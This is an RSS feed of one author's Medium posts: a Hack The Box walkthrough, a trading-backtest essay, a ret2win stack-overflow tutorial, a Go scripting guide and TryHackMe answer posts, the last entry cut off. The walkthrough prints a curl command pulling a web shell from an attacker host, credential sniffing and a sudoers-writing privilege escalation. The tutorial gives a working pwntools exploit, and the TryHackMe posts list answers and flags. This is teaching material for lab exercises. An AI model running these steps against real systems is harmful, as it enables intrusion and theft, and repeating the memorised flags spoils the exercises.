<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Welsh_0x on Medium]]></title>
        <description><![CDATA[Stories by Welsh_0x on Medium]]></description>
        <link>https://medium.com/@welshmagua?source=rss-4b26e3097731------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*X20_GmvM9dhUQHkASfSbzg.jpeg</url>
            <title>Stories by Welsh_0x on Medium</title>
            <link>https://medium.com/@welshmagua?source=rss-4b26e3097731------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 18:39:39 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@welshmagua/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Layover(Medium) — Hack The Box Walkthrough]]></title>
            <link>https://medium.com/@welshmagua/layover-medium-hack-the-box-walkthrough-ee7867d8210e?source=rss-4b26e3097731------2</link>
            <guid isPermaLink="false">https://medium.com/p/ee7867d8210e</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[machine-pwning]]></category>
            <dc:creator><![CDATA[Welsh_0x]]></dc:creator>
            <pubDate>Tue, 20 Oct 2026 00:34:34 GMT</pubDate>
            <atom:updated>2026-10-20T06:27:09.989Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*QTIsTPWidXLs3l37GBMWNg.jpeg" /></figure><h3>Summary</h3><p><strong>Layover</strong> is a multi-stage machine that tests your ability to pivot through networks. The initial attack doesn’t leads directly to the main server. It provides access to the internal wireless network. By capturing unencrypted traffic, we recover web application credentials. After exploiting a Craft CMS vulnerability to gain a web shell, we analyze the application’s source code and database to decrypt a Linux user’s password. Once we have SSH access, we exploit a vulnerable CUPS installation to escalate to r00t!</p><h3>1. Initial Enumeration &amp; RDP Access</h3><p>A normal Nmap scan reveals only 2 open ports: SSH(22) and RDP(3389).<br>While SSH is open, the provided credentials:<br>- <strong>Username</strong>: contractor<br>- <strong>Password</strong>: Contractor2026!<br>are for the RDP service.</p><p>We connect to the RDP service. We land on a Linux desktop environment on a host named airside-ws01 . In real world pentests, a compromised user workstation is often a stepping stone to deeper internal networks.</p><h3>2. Internal Wi-Fi &amp; Traffic Sniffing</h3><p>Inside the RDP session, we open a terminal and check our network interface.</p><pre>ip addr</pre><p>We use nmcli to connect wlan2 to an open SSID named HTB International WiFi . This gives us an IP in the 10.13.37.0/24 internal subnet.</p><p>We put the other interface into monitor mode and use tshark to sniff for HTTP POST requests:</p><pre>sudo iw dev wlan3 set channel 6<br>sudo tshark -i wlan3 -f &quot;tcp port 80&quot; -Y &quot;http.request.method == POST&quot; -T fields -e http.file_data</pre><p>Because the internal Wi-Fi is unencrypted, anyone on the network can read the traffic. We quickly capture plaintext credentials:<br>- Username: jenny<br>- Password: Fl1ghtDeck2026!</p><h3>3. Internal Portal &amp; Craft CMS RCE</h3><p>Using the RDP browser, we access the internal portal at <a href="http://portal.international.htb/miles/login.php">http://portal.international.htb/miles/login.php</a> and log in as jenny . The admin panel reveals the CMS is Craft CMS 5.9.8.</p><p>This version is vulnerable to an authenticated RCE via the element-search endpoint. Because the RCE is “blind”, we use it to download a simple PHP web shell to the web root:</p><pre>curl http://10.13.37.182:8000/shell.php --output /var/www/portal/web/sh.php</pre><p>We navigate to <a href="http://portal.international.htb/sh.php?cmd=id">http://portal.international.htb/sh.php?cmd=id</a> and confirm we are executing commands as www-data .</p><h3>4. Application Enumeration &amp; Decryption</h3><p>With a web shell, we explore the filesystem. We find /var/www/portal/.env , which contains the CRAFT_SECURITY_KEY . We also find a database backup in /var/www/portal/storage/backups/ .</p><p>Inside the database, there is an encypted mailRelayPassword for the user aporter . Encryption is useless if the decryption key is sitting right next to the encrypted data.</p><p>By reading the custom Craft module code (/var/www/portal/modules/htbairways/controllers/MilesController.php), we see how the app decrypts this value. Using the app’s own logic and the security key, we recover the plaintext password for aporter : Skyp0rt_Relay!26 .</p><h3>5. Lateral Movement via SSH</h3><p>We now have a proper Linux cred. From the RDP machine, we SSH into the internal portal server:</p><pre>ssh aporter@10.13.37.19</pre><p>We grab the user flag from ~/user.txt .</p><h3>6. CUPS Privilege Escalation(CVE-2026–34990)</h3><p>After running local enumeration:</p><pre>ss -lntup<br>ps aux</pre><p>we notice CUPS(Common UNIX Printing System) running locally on 127.0.0.1:631 .We check the version with cups-config --version and see it is 2.4.16, which is vulnerable to CVE-2026–34990.</p><p>This vulerability allows a local attacker to trick the CUPS daemon(running as root) into connecting to a rogue IPP server. By spoofing the authentication handshake, we can steal the root local token. We then use this token to abuse the file:// device URI in a printer queue to write a file to /etc/sudoers.d/ .</p><p>We transfer a Python PoC to the aporter session and run it:</p><pre>python3 /tmp/poc.py</pre><p>The script successfully captures the token and writes a sudoers file granting aporter passwordless root access.</p><p>We escalate to root and read the final flag:</p><pre>sudo -i<br>cat /root/root.txt</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ee7867d8210e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What Happens When You Remove the Lies From a Trading Backtest?]]></title>
            <link>https://medium.com/@welshmagua/what-happens-when-you-remove-the-lies-from-a-trading-backtest-8a9a88ac494c?source=rss-4b26e3097731------2</link>
            <guid isPermaLink="false">https://medium.com/p/8a9a88ac494c</guid>
            <category><![CDATA[backtesting]]></category>
            <category><![CDATA[quantitative-finance]]></category>
            <category><![CDATA[eurusd]]></category>
            <category><![CDATA[trading]]></category>
            <dc:creator><![CDATA[Welsh_0x]]></dc:creator>
            <pubDate>Mon, 24 Aug 2026 19:40:15 GMT</pubDate>
            <atom:updated>2026-08-24T19:40:15.092Z</atom:updated>
            <content:encoded><![CDATA[<h3>What Happens When You Remove the Lies From a Trading Backtest? I Tested 860 Strategy Configurations on 22 Years of EURUSD</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gtn0tVpJmtxV9h9cikPdZA.png" /></figure><p>Every trading robot you’re ever seen advertised has the same screenshot. A tidy equity curve rising from bottom-left to top-right, a “+180% over 10 years” in the corner, and a list of stats that look like they came from a hedge fund.</p><p>The backtest is fiction. Not because the math is wrong, but because the kitchen it was cooked in doesn’t exist.</p><p>It was cooked in a fantasy kitchen where:</p><ul><li>Buying and selling is free; no spread, no slippage</li><li>The market always fills you at the perfect price</li><li>Your stop-loss fills at a price the market never actually traded</li><li>The strategy was tuned on the exact same data used to “prove” it works</li><li>And the results were never saved in a way anyone can verify</li></ul><p>Every one of those is a lie that beginner’s can’t see. This article is about now I built an engine designed to make those specific forms of backtest leakage and optimistic execution impossible. And what happened when I ran the two most popular trading strategies in the world through it.</p><h4>Why I built it</h4><p>I got tired watching people lose money to “+180% backtested!” claims. Not because the claims are always malicious, sometimes the seller genuinely believes their backtest. The problem is deeper and uglier; the backtesting tools everyone uses are themselves optimistic.</p><p>Take the industry standard, MT’s strategy tester. Its “Every Tick” mode doesn’t replay real market ticks. It reconstructs a plausible-looking path from four numbers per minute (open, high, low, close) using an interpolation algorithm, then executes your orders against a price sequence that never happened. MetaTrader’s own documentation sets a 90% modeling-quality cap on this mode, a documented admission that the engine is not replaying reality.</p><p>The spread, cost of every real trade, is taken from the first tick of each minute and applied for the entire minute. Real EURUSD costs 0.2 pips during London-New York overlap and 3 pips during a news release. The tester can’t see any of that. It just sees one spread applied 60 times.</p><p>So a professional backtest of a strategy that wins 10 pips/trade and loses 3 pips to execution, before spread widening news, shows profit. Live, it’s flat. The backtest was never truly testing the strategy. It was a test of how the interpolator behaved of the strategy. It was a test of how the interpolator behaved on the strategy. I wanted a machine that couldn’t do that. So I built one. The 3 structural rules.</p><p>My engine has three rules that are enforced in the design, not “hoped for” in the configuration:</p><ol><li>No peeking<br>A signal may only use bars that have closed. You see the close, you decide, and you trade the next bar’s open. No hypothetical fills in the middle of a candle, no “I would have bought at that exact low”. The future is physically unavailable to the strategy.</li><li>Real costs, always<br>Spread and slippage are charged on every single trade, both sides. There’s a rule most backtests skip: gap-through-stop. If a market gaps past your stop-loss, you don’t get to fill at your stop price, that’s the idealized lie. You fill at the worse of your stop and the opening price. The trade that gapped through your stop is marked at the price you’d actually have gotten. This one rul alone kills the profitability of more proven strategies than any other.</li><li>Reproducibility, or it never happened<br>Every run writes a manifest recording the exact data file (its SHA-256 hash), every parameter, every cost assumption and the exact code version. If asked whether you can reproduce the result, the answer is yes and here’s the hash proving the data was never swapped. No cherry-picking after the fact.</li></ol><h4>What I tested</h4><p>I ran two strategy families across their entire parameter space having 860 combinations in total, over 23.4 years of daily EURUSD candles.</p><p>EMA crossover (765 combinations). The classic: when the fast moving average crosses above the slow one, buy; when it crosses below, sell. It’s the first strategy most retail traders encounter and variations of it are everywhere in retail algorithm trading.</p><ul><li>The best combination in-sample: +1.98% CAGR</li><li>The same strategy, on data in never saw (walk-forward, 5 folds): +0.44% CAGR</li><li>Default settings (24/96): +8.31% total over 22 years, that’s 0.34% a year. Forty-nine trades. A 17% maximum drawdown.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tb4Xnyg4z27H59SvR0xBkg.png" /></figure><p>RSI mean-reversion (95 combinations). When the RSI hits an “oversold” level, buy expecting a bounce.</p><ul><li><strong>Best in-sample</strong>: +0.61% CAGR</li><li><strong>Out-of-sample</strong>: -1.17% it loses money on data it was never shown</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dt0SBMo_FzW6ZPMf57RtDw.png" /></figure><h4>The experiment nobody never runs</h4><p>I ran the control test. I gave the <strong>EMA</strong> strategy the fantasy kitchen it was always denied, zero spread, zero slippage, free trading, 22 years.</p><p>The result: +8.51% total. Barely different from the +8.31% with honest costs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gtn0tVpJmtxV9h9cikPdZA.png" /></figure><p>That’s the surprise. Daily EMA trades forty nine times in 22 years about twice a year so trading costs are almost irrelavant to it. It’s not the costs. It’s the strategy. Even with free execution, the most famous strategy in retail trading earns 0.35% a year on the most traded currency pair in the world, while carrying a <strong>17% drawdown.</strong></p><p>This matters because it tells you where all the fantasy lies and the damage it causes. It’s not on slow daily systems, it’s on the high frequency scalpers, the “+180!” ads. For those, execution costs are 1/3 of more of every win. A scalper that prints profit at zero spread and dies at a realistic spread is the cleanest possible demonstration of a strategy that was always just a cost assumption.</p><p>That’s the test to ask for. Not “does it make money?”, “does it make money at a realistic spread, on data it was never shown, with fills the market would actually have granted?”</p><h4>The two tests no vendor shows you</h4><p><strong><em>The breakeven spread test</em></strong>. The most optimistic assumption in any backtest is the cost of trading. So I asked, “at what spread does this strategy stop making money?”. The answer is it doesn’t, even at 5 pips it technically survivies. But surviving isn’t earning. It survivies 5 pips of spread and earns 0.34% CAGR. The edge was never real. The cost assumption was just low enough to hide that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vwlfL2j1S55iv-528oAHHA.png" /></figure><p><strong><em>The Monte Carlo test</em></strong>. The results of a backtest depend on the order your wins and losses happen to arrive in. I resampled the actual trade sequence 5,000 times. The strategy ended in profit 62% of the time. That tells us the observed profitability depends heavily on the particular sequence of trades rather than being robust across plausible reorderings. 62% isn’t the kind of robustness I would want to see before calling something an edge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m_I7H1yOJteGNqbNVrzgjg.png" /></figure><h4>The honest verdict</h4><p>The classic indicator strategies are zombies on daily EURUSD after costs. They don’t lose your money, they just don’t earn it. And that’s worse, because it’s harder to detect. A strategy that loses is a strategy you abandon. A strategy that loses is a strategy you abandon. A strategy that crawls sideways for 22 years is a strategy you keep believing in while it quietly underperforms a savings account at 17% drawdown risk.</p><p>And this is the best case, tested with honest fills. The version you see advertised, with the fantasy fills and the zero spread, shows the same strategies printing claims that survive exactly zero of these tests.</p><h4><strong>Here’s what I learned:</strong></h4><ol><li>the people selling “proven” robots know this. You don’t survive in that market by being honest; you survive by showing a pretty picture that can’t survive honest scrutiny</li><li>a backtest is only as honest as its engine, and the default engines are optimitic by construction</li><li>in-sample performance is evidence of what happened during optimization. it’s not evidence of what happened during optimization. it’s not evident that the strategy will generalize. Out of sample testing isn’t optional, shows the real deal</li></ol><h4>Show your work</h4><p>Every number in this article is reproducible. Each run recorded:</p><ul><li>Dataset SHA-256 hash</li><li>Exact date range and bar count</li><li>Strategy parameters</li><li>Spread and slippage assumptions</li><li>Execution rules (next-open fills, gap-through-stop)</li><li>risk settings</li><li>code version</li></ul><p>Any of these runs can be reproduced bit for bit and checked independently. That’s the standard I’m holding the article to. The same standard I’ll hold every strategy I’m sent.</p><h4>Where this goes next</h4><p>The engine is done and it’s done what it was built for; proving that the tools of the trade produce fiction.</p><p>Most expert advisors, the trading bots people buy, are sold as compiled, encrypted binaries. You literally can’t read what they do. And that’s a problem also, because what they say they do and what they actually do are often not the same.</p><ul><li>Martingale in disguise. Position sze grows after every loss, until one bad streak wipes the account. Sold as a “safe scalper”</li><li>Hidden stop-loss deletion. The “safety stop” the ad promises is quietly widened or removed after entry.</li><li>Unexpected external calls. Bots that phone home or touch resources the strategy shouldn’t need.</li></ul><p>So the next layer of this work is EA forensics: building a sandbox that runs a robot in a controlled environment and watches what is actually does, every order, every modification, every external call then decompiling what’s possible and running the true extracted logic through this same honest engine.</p><p>The principle I’ll follow with every finding: observation -&gt; evidence -&gt; interpretation. A forensic report states what was observed and what the evidence shows. It doesn’t declare intent, it shows receipts.</p><p>The goal, in one sentence: certify what’s actually running on your account, not what was sold to you.</p><h4>Invitation</h4><p>I wanna test my own conclusions properly so I need people to try to prove me wrong.</p><p>If you have a strategy you believe in, indicators, price action, anything with clear rules, send it to me and I will run it through the engine and show you the result, honestly, with every number verifiable. I’m not selling anything uand I’m not asking you to trust me, the data, the parameters and code version are in every report. You can check the work yourself. If you share a proprietary strategy with me, I will only publish results with your explicit permission.</p><p>And if you’re about to buy a trading bot, send the claims it’s making. I’ll show you what it looks like at a realistic spread, on data it was never shown.</p><p>The engine doesn’t have opinions. The data passes judgement. This is a research project, not investment advice. It answers whether a claimed backtest is trustworthy, not whether to trade. Past performance it not indicative of future results. This article is empathetically not recommendation to trade anything.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8a9a88ac494c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A beginner’s guide to Smashing the Stack]]></title>
            <link>https://medium.com/@welshmagua/a-beginners-guide-to-smashing-the-stack-113d65f7b952?source=rss-4b26e3097731------2</link>
            <guid isPermaLink="false">https://medium.com/p/113d65f7b952</guid>
            <category><![CDATA[cpu]]></category>
            <category><![CDATA[smashing-the-stack]]></category>
            <category><![CDATA[buffer-overflow]]></category>
            <category><![CDATA[stack]]></category>
            <category><![CDATA[buffer]]></category>
            <dc:creator><![CDATA[Welsh_0x]]></dc:creator>
            <pubDate>Wed, 15 Apr 2026 17:49:23 GMT</pubDate>
            <atom:updated>2026-04-15T17:49:23.230Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/349/1*4bB4rd8FMkMLYPM2S7VxrA.png" /></figure><p>Today, we are going to break down <a href="https://ropemporium.com/challenge/ret2win.html">ret2win</a>, a classic binary exploitation challenge from ROP Emporium.</p><h4>The Stack</h4><p>In computer science, <strong>the stack </strong>is a temporary region of the memory that operates on a last-in, first-out (LIFO) basis. It’s automatically managed by the CPU and is primarily used to keep track of function calls, control flow, and local variables while a program is running.</p><p>Think of it like a stack of heavy plates at a buffet. You can only add a new plate to the very top and can only remove a plate from the very top. You cannot grab a plate from the middle without removing the ones above first.</p><h4>Step 1</h4><p>Now, before we break the program, we need to know how it works. Imagine you’re reading a book, and someone tells you to check out a different page. You put your finger on the page you’re on so you know where to return, go see the page, then jump back to your finger.</p><p>This is what the CPU does using the <strong>stack. </strong>When it jumps to a new function, it saves a <strong>return address</strong> on the stack so it knows where to go back later. Right above that, it stores its local variables like the buffer meant to hold input.</p><p>Now here’s the correlation, the pwnme() function uses a vulnerable C command that asks for out input but does not check the size. If we replace that return address with an address of our own, the CPU will blindly jump there.</p><p>We begin with <strong>recon</strong>. We need to get the layout and the location : )</p><p>Running checksec ret2win tells us that NX(no executable) is enabled which means we cannot write our own malicious code there or even run it. However, PIE(position independent executable) is disabled which means the program’s memory layout is identical every single time it runs.</p><p>We can use <strong>GDB </strong>to find the exact memory address of the hidden function that prints the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*lFA9zuQ7diKlETixy1EZNg.png" /><figcaption>target is: 0x400756</figcaption></figure><p>Now, we know we can overflow the bucket, but we need to know exactly how many bytes it takes to reach the return address. If we miss by even one byte, the exploit crashes.</p><p>Instead of typing fifty A’s and guessing, we can use pwndbg to generate a cyclic pattern.</p><pre>pwndbg&gt; cyclic 50<br>aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama</pre><p>We feed this to the program and it crashes instantly. Type run and paste it when prompted, like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*Uj3juFMZ01Tq0crm-tt9Kw.png" /></figure><p>When we look at the crash dump, we see the CPU tried to jump to the letters kaaalaaa and by checking where the kaaalaaa lives in our alphabet soup, we find our exact offset: 40 bytes</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*WGeM1jHHoUAi4XxdKaSQ9A.png" /></figure><p>We need 40 bytes of garbage to fill the bucket, followed immediately by the VIP address of our ret2win function.</p><h4>Stack Alignment</h4><p>Okay so we need to send 40 bytes of junk and our target address. Welcome to the infamous <a href="https://pwn.elmo.sg/miscellaneous/movaps-issue.html">MOVAPS</a> issue. Certain system functions, like printing text to the screen, require the stack to be perfectly aligned to a 16-byte boundary.</p><p>When we hijacked the Return Address, we misaligned the stack by exactly 8 bytes. To fix this, we just add a harmless ret (return) instruction right before we call ret2win. This essentially tells the CPU to do nothing and take a step forward. It shifts the stack by 8 bytes.</p><p>Putting it all together, we can use Python and the pwntools library to automate this:</p><pre>from pwn import *<br><br># boot up the target program<br>elf = context.binary = ELF(&#39;./ret2win&#39;)<br>p = process()<br><br># grab the address<br>ret2win_addr = elf.symbols[&#39;ret2win&#39;]<br>log.info(f&quot;Targeting ret2win at: {hex(ret2win_addr)}&quot;)<br><br>rop = ROP(elf)<br>ret_addr = rop.find_gadget([&#39;ret&#39;])[0]<br><br># build the payload<br>payload = b&quot;A&quot; * 40   # 40 bytes of garbage to flood the buffer<br>payload += p64(ret_addr) # re-align the stack<br>payload += p64(ret2win_addr) <br><br>p.sendlineafter(b&quot;&gt; &quot;, payload)<br>print(p.recvall().decode())</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*s6sdEgxUn0oVOtFiF8Dbhg.png" /></figure><p>When you run it, the program hands out the flag. Happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=113d65f7b952" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Go Shebang: Scripting Without the Compile-Run Friction]]></title>
            <link>https://medium.com/@welshmagua/the-go-shebang-scripting-without-the-compile-run-friction-d44e7f831e47?source=rss-4b26e3097731------2</link>
            <guid isPermaLink="false">https://medium.com/p/d44e7f831e47</guid>
            <category><![CDATA[scripting]]></category>
            <category><![CDATA[go]]></category>
            <category><![CDATA[shebang]]></category>
            <dc:creator><![CDATA[Welsh_0x]]></dc:creator>
            <pubDate>Mon, 13 Apr 2026 12:28:52 GMT</pubDate>
            <atom:updated>2026-04-13T12:28:52.128Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4lfB8dL_pbVLlTNhn60YCA.png" /></figure><p>In traditional Unix scripting, the #! (shebang) tells the kernel which interpreter to use for the file. For Go, which is a compiled language, this is technically a lie. By using a wrapper, you can treat .go files as executable scripts that compile and run on the fly.</p><h4>1. “gorun” vs “go run”</h4><p>While you can use go run main.go , it feels clunky for a system utility. You want to type ./myscript and have it just work.</p><p>The most common way to achieve this is via a tool like gorun . On Arch, you can find it in the AUR. It works by acting as a “pseudo-interpreter.”</p><p><strong>The Shebang Line:</strong></p><pre>#!/usr/bin/env gorun<br><br>package main<br><br>import (<br>      &quot;fmt&quot;<br>      &quot;os&quot;<br>)<br><br>func main() {<br>      fmt.Printf(&quot;Hello from a Go script! Running as PID: %d\n&quot;, os.Getpid())<br>}</pre><h4>2. The Lifecycle of a Go Script</h4><p>When you execute a Go script with a gorun shebang, the following technical sequence occurs:<br>1. <strong>Kernell Handoff</strong>: The kernel sees the #! and passes the file path to gorun .<br>2. <strong>Hashing: </strong>gorun computes a hash of the source code.<br>3. <strong>Cache Lookup: </strong>it checks a cache directory for a binary that matches that hash.<br>4. <strong>Compilation (if needed): </strong>if no cached binary exists, it calls the Go compiler to build a temporary executable.<br>5. <strong>Execution: </strong>it executes the binary, passing all command-line arguments directly to it.</p><h4>3. Why this Beats Python/Bash for Automation</h4><p>For someone building security tools or indicators-of-compromise (IoC) pipelines, Go scripting offers three critical advantages:<br>1. Type Safety in Automation: if you’re writing a script to parse complex JSON from a threat feed, Python won’t tell you if you mispelled a key until the script crashes 10 minutes in. Go catches that before the script even starts<br>2. The Standard Library: Go’s net/http and encoding/json are significantly more robust and performant than Python’s requests or json modules for heavy lifting.<br>3. Native Concurrency: If you script needs to scan 500 IP addresses, you can spin up 500 goroutines instantly. Doing that in Python (with multiprocessing or asyncio ) involves significant boilerplate and overhead.</p><h4><strong>4. Technical Implementation on Linux</strong></h4><p>To make this work on your system, you generally follow this setup:</p><ol><li><strong>Install the wrapper:</strong></li></ol><pre># example for installing gorun<br>go install github.com/erning/gorun@latest</pre><p>2. <strong>Set Permissions:</strong></p><pre>chmod +x my_automation.go</pre><p>3. <strong>Pathing: </strong>Since it’s a standard library, you can drop these scripts into ~/bin or ~/.local/bin , and they behave exactly like native Arch utilities.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d44e7f831e47" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cloud Security Pitfalls — TryHackMe Writeup]]></title>
            <link>https://medium.com/@welshmagua/cloud-security-pitfalls-tryhackme-writeup-8ce26f70006e?source=rss-4b26e3097731------2</link>
            <guid isPermaLink="false">https://medium.com/p/8ce26f70006e</guid>
            <dc:creator><![CDATA[Welsh_0x]]></dc:creator>
            <pubDate>Fri, 30 Jan 2026 19:26:07 GMT</pubDate>
            <atom:updated>2026-01-30T19:26:07.137Z</atom:updated>
            <content:encoded><![CDATA[<p>Cloud migrations are exciting, but they can also introduce brand-new blind spots. This TryHackMe room breaks down the common pitfalls, explains the shared responsibility model, and shows what a SOC analyst should prioritize.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/0*6tmVRZORgQ36bglr" /></figure><p>Quick answers below. If you want the full beginner-friendly breakdown, screenshots, and reasoning, the complete writeup is on my site using this <a href="https://welsh.co.ke/posts/tryhackme-cloud-security-pitfalls-writeup/">link</a>!</p><h4>ANSWERS</h4><h4>Task 2: What is Cloud?</h4><p><strong>Q1:</strong> Which model lets you migrate a large on-prem network to the cloud? <strong>Answer: IaaS<br>Q2:</strong> Which model do Elastic Cloud and CrowdStrike Falcon fit into? <br><strong>Answer: SaaS</strong></p><h4>Task 3: Security of the Cloud</h4><ul><li><strong>Q1:</strong> Is the provider responsible for securing its own infrastructure? <strong>Yea</strong></li><li><strong>Q2:</strong> Should you fully trust them without watching for supply-chain threats? <strong>Nay</strong></li></ul><h4>Task 4: Security in the Cloud</h4><ul><li><strong>Q1:</strong> Does moving an unpatched server to the cloud make it secure? <strong>Nay</strong></li><li><strong>Q2:</strong> First major obstacle to SIEM integration? <strong>Paid logs</strong></li></ul><h4>Task 5: Cloud Security Monitoring</h4><ul><li><strong>Q1:</strong> What term describes cloud compute resources like VMs or containers? <strong>Workloads</strong></li><li><strong>Q2:</strong> Where do Falco and Tetragon fit? <strong>CWPP</strong></li></ul><h4>Task 6: Challenge</h4><p><strong>Challenge 1 flag</strong>: THM{flag_as_a_service!}</p><p><strong>Challenge 2 flag</strong>: THM{ready_for_cloud_migration!}</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8ce26f70006e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe First Shift CTF (Probably Just Fine) Walkthrough]]></title>
            <link>https://medium.com/@welshmagua/tryhackme-first-shift-ctf-probably-just-fine-walkthrough-e3f3bbced505?source=rss-4b26e3097731------2</link>
            <guid isPermaLink="false">https://medium.com/p/e3f3bbced505</guid>
            <dc:creator><![CDATA[Welsh_0x]]></dc:creator>
            <pubDate>Wed, 28 Jan 2026 03:06:15 GMT</pubDate>
            <atom:updated>2026-01-28T03:06:15.264Z</atom:updated>
            <content:encoded><![CDATA[<p>TryHackMe First Shift CTF (Probably Just Fine) Walkthrough</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*G7XVYfLhVwTHho0tO_zUXw.png" /></figure><h4>Probably Just Fine</h4><p>Welcome to your first shift! You are greeted by an internal alert on the SOC dashboard titled “Unusual VPN login of susan.martin@probablyfine.thm from 37.19.201.132 (Singapore).”</p><p>The SOC handover notes did indeed mention that Susan from Marketing is in Singapore, attending a security vendor conference. It is probably just fine, but the SOC procedure tells us to verify each IP in our threat intel platform TryDetectThis. Answer the first 2 questions to gather more information and determine the threat level.</p><h4>TryDetectThis</h4><p>This is a threat intelligence database to check the reputation and other details of IP addresses, domains, and file hashes. To access the platform, please navigate to the following URL in your browser.<br>URL = <a href="https://static-labs.tryhackme.cloud/apps/trydetectthis/">TryDetectThis</a></p><h4>Is It Really Fine</h4><p>That login IP looks suspicious, doesn’t it? Your teammates reached out to Susan, and she confirmed she did not log in to the company VPN. She also mentioned that while using a public WIFI hotspot at a cafe, she was suddenly prompted to install a “security check” tool, which she did. The host telemetry reveals a suspicious binary with the hash <strong>b8e02f2bc0ffb42e8cf28e37a26d8d825f639079bf6d948f8debab6440ee5630. </strong>Can you help us figure out what this binary exactly does and answer the remaining questions?</p><h3>Questions</h3><p>More details? <a href="https://welsh.co.ke/posts/tryhackme-first-shift-ctf-probably-just-fine/">Click Me</a>!</p><p><strong>Q-1</strong>: What is the ASN number related to the IP?<br>ANS: <strong>212238</strong></p><p><strong>Q-2</strong>: Which service is offered from this IP?<br>ANS: <strong>VPN</strong></p><p><strong>Q-3</strong>: What is the filename of the file related to the hash?<br>ANS: <strong>zY9sqWs.exe</strong></p><p>Q-4: What is the threat signature that Microsoft assigned to the file?<br>ANS: <strong>Trojan:Win32/LummaStealer.PM!MTB</strong></p><p><strong>Q-5</strong>: One of the contacted domains is part of a large malicious infrastructure cluster. Based on it’s HTTPS certificate, how many domains are linked to the same campaign?<br>ANS: <strong>151</strong></p><p><strong>Q-6</strong>: The file matches one of the YARA rules made by “kevoreilly”. What time is present in the rule’s “condition” field?<br>ANS: <strong>uint16(0) == 0x5a4d and any of them</strong></p><p><strong>Q-7</strong>: The file is also mentioned in one of the TI reports. What is the title of the report mentioning this hash?<br>ANS: <strong>Behind the Curtain: How Lumma Affiliates Operate</strong></p><p><strong>Q-8</strong>: Which team did the author of the malware start collaborating with in early 2024?<br>ANS: <strong>GhostSocks</strong></p><p><strong>Q-9</strong>: A Mexican-based affiliate related to the malware family also uses other infostealers. Which mentioned infostealer targets Android systems?<br>ANS: <strong>CraxsRAT</strong></p><p><strong>Q-10</strong>: The report states that the affiliates behind the malware use the service of AnonRDP. Which MITRE ATT&amp;CK sub-technique does this align with?<br>ANS: <strong>T1583.003</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e3f3bbced505" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[cURL Exploitation — Hoperation Eggsploit TryHackMe Writeup]]></title>
            <link>https://medium.com/@welshmagua/curl-exploitation-hoperation-eggsploit-tryhackme-writeup-182de66cb296?source=rss-4b26e3097731------2</link>
            <guid isPermaLink="false">https://medium.com/p/182de66cb296</guid>
            <dc:creator><![CDATA[Welsh_0x]]></dc:creator>
            <pubDate>Fri, 26 Dec 2025 15:52:16 GMT</pubDate>
            <atom:updated>2025-12-26T15:52:16.254Z</atom:updated>
